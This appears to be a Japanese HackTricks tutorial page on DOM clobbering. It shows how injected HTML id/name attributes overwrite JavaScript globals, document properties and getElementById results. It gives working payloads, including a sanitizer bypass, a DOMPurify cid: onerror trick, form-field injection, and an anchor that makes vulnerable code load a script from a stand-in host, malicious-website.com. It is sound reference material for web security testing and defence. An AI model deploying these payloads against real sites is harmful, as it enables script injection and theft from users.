16 KiB
Dom Clobbering
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
基本
HTMLタグの属性**id
とname
を使用して、JSコンテキスト内でグローバル変数**を生成することができます。
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
name属性を使用してグローバル変数を上書きできるのは、embed
、form
、iframe
、image
、img
、object
の特定の要素のみです。
興味深いことに、form要素を使用して変数を上書きすると、要素自体の**toString
値が表示されます: [object HTMLFormElement]
しかし、anchor要素ではtoString
はアンカーのhref
になります。したがって、a
タグを使用して上書きすると、文字列として扱われるときに制御できる値**を取得できます:
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
配列と属性
配列やオブジェクトの属性を上書きすることも可能です。
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
**form
**を使用して、3番目の属性(例:x.y.z)を上書きする必要があります。
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
属性を追加することはより複雑ですが、依然として可能です。iframesを使用してください。
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
{% hint style="warning" %} styleタグは、iframeがレンダリングするのに十分な時間を与えるために使用されます。それなしでは、undefinedのアラートが表示されます。 {% endhint %}
より深い属性をクロボーするために、次のようにHTMLエンコーディングを使用したiframeを使用することができます:
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
フィルターのバイパス
もしフィルターがdocument.getElementByID('x').attributes
のような方法でノードのプロパティをループ処理している場合、属性**.attributes
を上書きしてフィルターを破壊することができます。他のDOMプロパティ、例えばtagName
、nodeName
、parentNode
なども上書き可能**です。
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
window.someObject
のクロバリング
JavaScriptの開発者がよく使うパターンは次のとおりです:
var someObject = window.someObject || {};
もしページ上のHTMLの一部を制御できる場合、someObject
の参照をアンカーなどのDOMノードで上書きすることができます。次のコードを考えてみてください。
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
この脆弱なコードを悪用するために、次のHTMLを注入してsomeObject
の参照をアンカーエレメントで上書きすることができます:
{% code overflow="wrap" %}
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
{% endcode %}
そのデータを注入すると、window.someObject.url
は href=//malicious-website.com/malicious.js
になります。
トリック:DOMPurify
は cid:
プロトコルを使用することができ、これにより 二重引用符を URL エンコードしない ことができます。つまり、実行時にデコードされる エンコードされた二重引用符を注入 することができます。したがって、<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
のようなものを注入すると、HTML エンコードされた "
が 実行時にデコード され、属性値から onerror
イベントを作成するために エスケープ します。
もう一つの一般的なテクニックは、form
要素を使用することです。一部のクライアントサイドライブラリは、作成されたフォーム要素の属性をサニタイズするために使用されます。しかし、フォーム内に id=attributes
の input
を作成すると、属性プロパティを 上書き し、サニタイザは 実際の属性 を通過することができません。
このタイプの属性上書きの例は、この CTF の解説で見つけることができます。
ドキュメントオブジェクトの上書き
ドキュメントオブジェクトの属性を DOM Clobbering を使用して上書きすることができます。
Document インターフェースは、名前付きプロパティ をサポートしています。Document オブジェクトのサポートされているプロパティ名は、いつでも次のようになります。tree order に従って、それらを提供した要素に関連付けられたものを無視し、同じ要素が両方を提供する場合は、id 属性の値が name 属性の値よりも前に来ます。
- 公開 されている embed、form、iframe、img、および 公開 されている object 要素のすべての name 属性の値で、名前付きプロパティをサポートする ドキュメント オブジェクトのドキュメントは、ドキュメントを ルート とする ドキュメントツリー にあるものです。
- 公開 されている object 要素のすべての id 属性の値で、名前付きプロパティをサポートする ドキュメント オブジェクトのドキュメントは、ドキュメントを ルート とする ドキュメントツリー にあるものです。
- img 要素のすべての id 属性と name 属性の両方が非空であり、名前付きプロパティをサポートする ドキュメント オブジェクトのドキュメントは、ドキュメントを ルート とする ドキュメントツリー にあるものです。
このテクニックを使用すると、document.cookie
、document.body
、document.children
などの一般的に使用される値、さらには document.querySelector
のような Document インターフェースのメソッドを上書きすることができます。
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
要素を上書きした後に書き込む
document.getElementById()
と document.querySelector()
の呼び出し結果を上書きすることができます。これは、同じid属性を持つ <html>
や <body>
タグを注入することで実現できます。以下に例を示します:
<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>
興味深いことに、innerText
から要素を非表示にすることもできます。したがって、HTML/bodyタグを注入すると、スタイルを使用してinnerText
から非表示にすることで、他のテキストが攻撃に干渉するのを防ぐことができます。
<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
私たちはSVGも見てみましたが、そこでは<body>
タグを使用することが可能です:
<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
ChromeとFirefoxの両方で、SVG内でHTMLタグを使用するためには<foreignobject>
タグが必要です。
<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
フォームの上書き
いくつかのタグ内にform
属性を指定することで、フォーム内に新しいエントリを追加することができます。これを利用して、フォーム内に新しい値を追加したり、新しいボタンを追加して送信することもできます(クリックジャッキングまたは.click()
のJSコードの乱用)。
{% code overflow="wrap" %}
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
{% endcode %}
- ここをチェックしてくださいで、さらにフォーム属性を確認してください。
参考文献
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。